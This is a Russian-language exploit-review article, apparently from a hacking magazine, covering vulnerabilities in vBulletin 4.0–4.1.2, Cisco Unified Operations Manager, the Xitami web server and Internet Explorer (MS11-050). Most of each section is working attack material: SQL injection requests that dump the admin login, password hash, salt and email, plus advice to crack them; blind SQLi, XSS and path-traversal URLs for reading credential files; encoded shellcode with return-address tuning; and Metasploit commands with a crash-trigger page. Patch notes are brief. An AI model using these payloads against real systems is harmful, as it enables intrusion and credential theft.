GrabDuck

Обзор эксплоитов: Разбираем свежие уязвимости - Взлом и Хакер - Каталог статей - 99 ...

:

SQL-ИНЪЕКЦИЯ В VBULLETIN 4.0.X => 4.1.2

CVSSV2

  • 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)

Brief

vBulletin — один из самыx распространенных форумных движков, а с недавних пор еще и CMS (vBulletin Publishing suite), в простонародье — булка. Немецкий исследователь под псевдонимом J0hn.X3r уже не в первый раз находит багу в этом движке, и в этот раз к поискам его подтолкнуло очередное обновление безопасности, в котором исправлялись некоторые критические уязвимости. Такой метод обратного инжиниринга патчей широко используется исследователями для выявления багов как в обычных скриптах, так и в бинарных файлах. В этом случае требуется лишь просмотреть изменения, которые вносит патч, и сделать соответствующие выводы. Таким образом, область поиска существенно сокращается.

Exploit

Взор багоискателя пал на два файла. Первым из них был /vb/search/ searchtools.php и конкретно функция getDisplayString:

public static function getDisplayString($table,
$table_display, $fi eldname, $key, $id, $comparator, $is_date)
{
global $vbulletin, $vbphrase;
$names = array();
if (is_array($id))
{
$sql = "SELECT DISTINCT $table.$fi eldname from " .
TABLE_PREFIX .
"$table AS $table WHERE $key IN (" . implode(', ', $id) . ")";
if ($rst = $vbulletin->db->query_read($sql))
{
while($row = $vbulletin->db->fetch_row($rst))
{
$names[] = $row[0];
}
}
if (count($names) > 0)
{
return $table_display . ': ' . implode(', ', $names);
}
}
else
{
//If we got here, we have a single value
if ($row = $vbulletin->db->query_fi rst(
"SELECT $table.$fi eldname from " . TABLE_PREFIX .
"$table AS $table WHERE $key = $id"))
{
return $table_display . ' ' .
self::getCompareString($comparator, $is_date)
. ' ' . $row[0];
}
}
return "";
}

Интерес для нас в этой функции представляет переменная $id, которая никак в ней не фильтруется. Теперь посмотрим, где используется эта уязвимая функция, и обнаружим файл /packages/vbforum/search/type/ socialgroup.php, строки 201-203:

vB_Search_Searchtools::getDisplayString(
'socialgroupcategory', $vbphrase['categories'],
'title', 'socialgroupcategoryid',
$value, vB_Search_Core::OP_EQ, true ));

Истина где-то рядом. Как действовать дальше? Из параметров функции становится ясно, что вызов связан с поиском по неким «social groups». В ходе экспериментов рекомендуется использовать Live HTTP Headers — плагин для Firefox, так как нам придется работать с параметрами в POST-запросах. Так как исходная функция явно используется при поиске, то подвергнем экзекуции страницу поиска search.php. Перейдем по ссылке «Search Multiple Content Types» и отметим галочку напротив «groups», а в строку поиска введем название какой-нибудь существующей группы или ее часть, например, team. Вот такой POST-запрос при этом получится:

type%5B%5D=7&query=team&titleonly=1&searchuser=&ex
actname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=a
fter&sortby=relevance&order=descending&saveprefs=1&s=&securit
ytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do
=process&searchthreadid=

Для эксплуатации уязвимости дополним исходный запрос SQLинъекцией:

type%5B%5D=7&query=team&titleonly=1&searchuser=&ex
actname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=a
fter&sortby=relevance&order=descending&saveprefs=1&s=
&securitytoken=1302542927-d4cf038925f1bba6869e060b837d6513
71f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT
'haxhax' #

Бинго! В содержимом страницы появилась наша инъектируемая строка haxhax. Едем дальше: модифицируем запрос так, чтобы вывести логин, хэш, соль и мэйл админа:

type%5B%5D=7&query=team&titleonly=1&searchuser=&ex
actname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=a
fter&sortby=relevance&order=descending&saveprefs=1&s=
&securitytoken=1302542927-d4cf038925f1bba6869e060b837d
651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION
SELECT concat_ws(0x3a,username,password,salt,email) FROM
bulletinuser limit 1,1#

Далее осталось лишь подобрать пароль любыми подручными средствами, будь то John The Ripper, PasswordsPro или какой-нибудь онлайновый сервис, коих нынче развелось в достатке.

Targets

• vBulletin Publishing Suite 4.0.0 — 4.1.2
• vBulletin Forum Classic 4.0.0 — 4.1.2

Solution

Обновить движок до более поздней версии или установить патч. Еще существует метод патчинга вручную, который заключается в том, что переменная $id оборачивается в вызов специальной функции, фильтрующей нежелательные значения:

$id = $vbulletin->db->sql_prepare($id);
if (is_array($id))
{

Но это еще не все. Так как переменная $id может быть массивом переменных, нужно добавить в функцию sql_prepare() обработку этого случая (по умолчанию его там, как ни странно, нет). Конечный вариант выглядит так:

function sql_prepare($value)
{
if (is_string($value))
{
return "'" . $this->escape_string($value) . "'";
}
else if (is_numeric($value) AND $value + 0 == $value)
{
return $value;
}
else if (is_bool($value))
{
return $value ? 1 : 0;
}
else if (is_null($value))
{
return "''";
}
else if (is_array($value))
{
foreach ($value as $key => $item)
{
$value[$key] = $this->sql_prepare($item);
}
return $value;
}
else
{
return "'" . $this->escape_string($value) . "'";
}
}

Множественные уязвимости в Cisco UNIFIED OPERATIONS MANAGER 8.0 И 8.5

CVSSV2

  • 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)

Brief

Cisco Unified Operations Manager (CuOM) — комплексное решение от известного вендора, предназначенное для мониторинга состояния сети и оперативного решения возникающих проблем. Решение это оказалось на удивление дырявым. В середине мая исследователи из Sense of Security опубликовали целый вагон уязвимостей в этом ПО: здесь и слепые SQL-инъекции, и межсайтовый скриптинг, и выход за корневую директорию веб-сервера. Традиционно, в случае множественных уязвимостей счетчик CVSS определяется по самой серьезной из них, в данном случае это SQL-инъекция, и поэтому наш экспонат заработал 7,5 баллов из 10.

EXPLOIT

1. Переменная CCMs в скрипте PRTestCreation.do подвержена слепой SQL-инъекции, которую можно продемонстрировать банальной одинарной кавычкой:

/iptm/PRTestCreation.do?RequestSource=dashboard&MACs=&CCMs=
'waitfor%20delay'0:0:20'--&Extns=&IPs=

Аналогичной уязвимости подвержена переменная ccm в скрипте TelePresenceReportAction.do:

/iptm/TelePresenceReportAction.do?ccm='waitfor%20 delay'0:0:20'-2.

Пассивные XSS были обнаружены в большом количестве скриптов приложения Common Services Device Center, вот лишь некоторые из них:

/iptm/advancedfi nd.do?extn=73fcb</script><script>alert(1)
</script>23fbe43447/iptm/logicalTopo.do?clusterName=
db4c1"%3balert(1)//4031caf63d7

Полный список уязвимых скриптов находится в адвизори SOS-11006, которая в свободном доступе обитает в интернете. Не удалось утаить баги и приложению под названием Common Services Framework Help Servlet, в котором тоже была обнаружена пассивная XSS:

/cwhp/device.center.do?device=&72a9f"><script>alert(1)</script>5f5251aaad=1

3. Продолжает наш хит-парад веб-приложение CiscoWorks Homepage, которое порадует нас возможностью выхода за пределы корневой директории веб-сервера, благодаря чему становится возможным читать произвольные файлы в системе. Ниже представлены наиболее интересные случаи, содержащие настройки баз данных и логи изменения паролей:

  • http://target:1741/cwhp/auditLog.do?fi le=..\..\..\..\..\..\..\boot.ini
  • http://target:1741/cwhp/auditLog.do?fi le=..\..\..\..\..\..\..\Program Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\classes\schedule.properties
  • http://target:1741/cwhp/auditLog.do?fi le=..\..\..\..\..\..\..\Program Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\dbservice2\DBServer.properties
  • http://target:1741/cwhp/auditLog.do?fi le=..\..\..\..\..\..\..\Program Files\CSCOpx\log\dbpwdChange.log

Solution

Нужно обновить CuOM до версии 8.6 или более поздней. Либо можно накатить патчи от Cisco, которые можно обнаружить на страницах, посвященных соответствующим багам: CSCtn61716, CSCto12704, CSCto12712 и CSCto35577.

XITAMI WEB SERVER 2.5B4: Удаленное переполнение буфера

CVSSV2

  • 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)

Brief

Xitami — web/ftp-сервер, первоначально создаваемый с 1996 по 2000 годы конторой iMatrix, как бесплатный продукт с открытыми исходными кодами. Работает он как одиночный процесс и не требует для своей работы больших объемов памяти. Xitami по скорости работы не дотягивает до быстрейших серверов, но по заверениям производителя является хорошо расширяемым решением. Более того, он поддерживает некоторое количество прикладных протоколов, а также имеет веб-интерфейс, через который можно конфигурировать web/ftp-сервер. Код эксплоита можно найти на популярном ресурсе exploit-db.com в разделе Remote Exploits. Для академических целей мы его слегка модифицируем под себя.

Exploit

В самом коде скрипта автором приведена краткая справка по его использованию. Выглядит она следующим образом:

#root@bt:~# cd Desktop/
#root@bt:~# ./Xitami2_5b4.pl
# Enter your target's IP (e.g.: 192.168.0.123)
# > 192.168.178.37
# [*] Sending the evil header at: 192.168.178.37
# [*] OK, exploitation Done!
# [*] Check please for the shell

Вместо полезной нагрузки, размещенной в скрипте автором, забацаем классический калькулятор. Сказано — сделано.

# msfpayload windows/exec cmd=calc.exe R | msfencode -e x86/
alpha_mixed -t perl
[*] x86/alpha_mixed succeeded with size 461 (iteration=1)
my $buf =
"\x89\xe2\xd9\xea\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x49\x6c\x58\x68\x4c\x49\x45\x50\x43\x30\x43" .
"\x30\x45\x30\x4b\x39\x4d\x35\x50\x31\x58\x52\x51\x74\x4c" .
"\x4b\x43\x62\x54\x70\x4c\x4b\x50\x52\x54\x4c\x4c\x4b\x52" .
"\x72\x45\x44\x4c\x4b\x51\x62\x45\x78\x56\x6f\x4c\x77\x50" .
"\x4a\x54\x66\x56\x51\x49\x6f\x54\x71\x4f\x30\x4c\x6c\x47" .
"\x4c\x51\x71\x51\x6c\x43\x32\x54\x6c\x51\x30\x4b\x71\x5a" .
"\x6f\x54\x4d\x43\x31\x5a\x67\x58\x62\x5a\x50\x52\x72\x50" .
"\x57\x4c\x4b\x56\x32\x54\x50\x4c\x4b\x50\x42\x45\x6c\x43" .
"\x31\x58\x50\x4c\x4b\x43\x70\x51\x68\x4f\x75\x4f\x30\x43" .
"\x44\x52\x6a\x45\x51\x5a\x70\x52\x70\x4c\x4b\x51\x58\x45" .
"\x48\x4e\x6b\x43\x68\x45\x70\x47\x71\x49\x43\x4d\x33\x45" .
"\x6c\x51\x59\x4c\x4b\x54\x74\x4e\x6b\x45\x51\x4b\x66\x54" .
"\x71\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x5a\x61\x58\x4f\x56" .
"\x6d\x47\x71\x5a\x67\x45\x68\x4b\x50\x54\x35\x4b\x44\x43" .
"\x33\x51\x6d\x4b\x48\x45\x6b\x43\x4d\x47\x54\x50\x75\x5a" .
"\x42\x43\x68\x4e\x6b\x50\x58\x47\x54\x45\x51\x5a\x73\x45" .
"\x36\x4c\x4b\x56\x6c\x52\x6b\x4e\x6b\x56\x38\x45\x4c\x56" .
"\x61\x49\x43\x4e\x6b\x47\x74\x4e\x6b\x43\x31\x5a\x70\x4c" .
"\x49\x50\x44\x47\x54\x56\x44\x51\x4b\x43\x6b\x43\x51\x51" .
"\x49\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x51\x48\x51\x4f\x43" .
"\x6a\x4e\x6b\x47\x62\x5a\x4b\x4f\x76\x43\x6d\x50\x6a\x47" .
"\x71\x4c\x4d\x4e\x65\x58\x39\x43\x30\x43\x30\x45\x50\x52" .
"\x70\x51\x78\x50\x31\x4c\x4b\x52\x4f\x4f\x77\x4b\x4f\x49" .
"\x45\x4f\x4b\x4c\x30\x4c\x75\x4c\x62\x43\x66\x43\x58\x4c" .
"\x66\x4c\x55\x4d\x6d\x4f\x6d\x4b\x4f\x4e\x35\x47\x4c\x43" .
"\x36\x43\x4c\x54\x4a\x4b\x30\x4b\x4b\x4d\x30\x52\x55\x45" .
"\x55\x4f\x4b\x50\x47\x52\x33\x51\x62\x50\x6f\x52\x4a\x43" .
"\x30\x56\x33\x4b\x4f\x4b\x65\x45\x33\x50\x61\x52\x4c\x50" .
"\x63\x56\x4e\x43\x55\x50\x78\x52\x45\x47\x70\x41\x41";

Вставляем данное добро в скрипт Xitami2_5b4.pl, генерирующий рабочий эксплоит, поднимаем сервер, запускаем скрипт, вбиваем ipадрес сервака и наблюдаем возникающий из ниоткуда кулькулятор. Ну а теперь немного подробней. Перезапись стека происходит на вызове функции _sscanf:

.text:0042A38D push eax
.text:0042A38E lea edx, [esp+7Ch+var_58]
.text:0042A392 push ecx
.text:0042A393 push edx
.text:0042A394 push offset aDSDDDD ; "%d %s %d %d:%d:%d"
.text:0042A399
.text:0042A399 loc_42A399: ; CODE XREF: sub_42A1F0+10B#j
.text:0042A399 push edi ; Src
.text:0042A39A call _sscanf; <--- атата
.text:0042A39F mov ecx, [esp+8Ch+var_5C]
.text:0042A3A3 add esp, 20h

Таким образом стек выглядит после перезаписи (видим стандартную АААА..., начинающуюся с адреса 0x00c8fee8):

00C8FEA4 00A27C57 W|ў. ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

00C8FEA8 004922F4 ф"I. ASCII "%s %d %d:%d:%d %d"
00C8FEAC 00C8FEE8 июИ. ASCII 41,"
AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00C8FEB0 00C8FED8 ШюИ.
00C8FEB4 00C8FEDC ЬюИ.
00C8FEB8 00C8FEE0 аюИ.
00C8FEBC 00C8FEE4 дюИ.
00C8FEC0 00C8FED4 ФюИ.
00C8FEC4 00A0F2A8 Ёт .
00C8FEC8 00A184DC Ь"
Ў.
00C8FECC 00000001 #...
00C8FED0 00000000 ....
00C8FED4 00000000 ....
00C8FED8 00000000 ....
00C8FEDC 00000000 ....
00C8FEE0 00000000 ....
00C8FEE4 00000000 ....
00C8FEE8 41414141 AAAA
00C8FEEC 41414141 AAAA
00C8FEF0 41414141 AAAA
00C8FEF4 41414141 AAAA

Сразу же после всех этих AAAAA... будет располагаться адрес возврата, которым мы переписали первоначальный адрес возврата. Так как в данном варианте эксплоита не ставится целью обход DEP’а, то и управление в дальнейшем нам надо будет передавать на стек. Посему необходимо искать что-то наподобие push esp — ret.

Сразу краткое замечание по поводу кода эксплоита. Необходимо внимательней смотреть на адрес, которым будет перетираться оригинальный, поскольку все это хардкод. На моей системе адрес push esp — ret немного отличался от авторского:

$RET = "\x53\x2b\xab\x71";
# ws2_32.dll push ESP — ret — (Windows XP SP3 — [En]).

На моей системе:

$RET = "\x53\x2b\xa9\x71";

Посмотреть данные адреса можно либо простым поиском по опкодам 0x54,0xc3 (push esp — retn), либо при помощи плагина к ImmDbg под названием pvefindaddr. Каким образом использовать pvefindaddr, можно узнать при помощи команды !usage pvefindaddr с дальнейшим созерцанием результатов исполнения вышеприведенной команды в окне логов ImmDbg.

После того как мы дойдем до последнего ret’а, на вершине стека будет лежать адрес 0x71a92b53. Исполняется retn, далее выполняются команды push esp — retn, мы прыгаем на nop-цепочку, по которой в конце концов добираемся до полезной нагрузки.

Targets

Solution

  • Обновиться до более свежей версии

MS11-050 IE MSHTML!COBJECTELEMENT USE AFTER FREE

CVSSV2

  • 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)

Brief

Очередная уязвимость в Internet Explorer 7-8. Эксплоит был оформлен автором в виде модуля для Metasploit. Данный модуль эксплуатирует уязвимость типа use-after-free, достигаемую в том случае, когда задан неверный тэг <object> и другие элементы перекрывают собой на экране то место, где тэг объекта должен был бы оказаться после генерации. В результате невалидности элемента Mshtml!CObjectElement, происходит его освобождение в памяти. Однако, объект mshtml!CDisplay для страницы продолжает хранить ссылку на освобожденный <object> и пытается вызывать функции, в аргументах к которым будет указан данный освобожденный элемент, что, собственно, и приводит к уязвимости типа use-after-free.

Exploit

Справку по использованию эксплоита можно получить при помощи стандартной команды Metasploit «show options». Вот пример использования этого сплоита:

msf >
use exploit/windows/browser/ms11_050_mshtml_cobjectelement
msf exploit(…) > set SRVHOST 192.168.0.63
SRVHOST => 192.168.0.63
msf exploit(…) > set PAYLOAD windows/exec
PAYLOAD => windows/exec
msf exploit(…) > set CMD calc.exe
CMD => calc.exe
msf exploit(…) > exploit
[*] Exploit running as background job.
[*] Using URL: http://192.168.0.63:8080/b6t3wEBKj
[*] Server started.
msf exploit(ms11_050_mshtml_cobjectelement) >

Проходим по ссылке на клиенте (http://192.168.0.63:8080/b6t3wEBKj) и видим возникающий калькулятор. Если закомментировать один из тегов в тесте (дабы уберечь IE от падения), а затем зайти в Deveper Tools и посмотреть на текущее состояние DOM, элемент <object> показываться не будет, скорее всего, потому, что не был указан тип объекта, который у него должен быть:

<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right'
hspace='1000' width='1000'>
TAG_1</object>";
// document.body.innerHTML += "<a id='tag_3' style='b
ottom:200cm;fl oat:left;padding-left:-1000px; borderwidth:
2000px;text-indent:-1000px'
>
TAG_3</a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style=
'font-size:1000pc;margin:auto -1000cm auto auto;'
dir='ltr'>
TAG_11</strong>";
</script>
</body>
</html>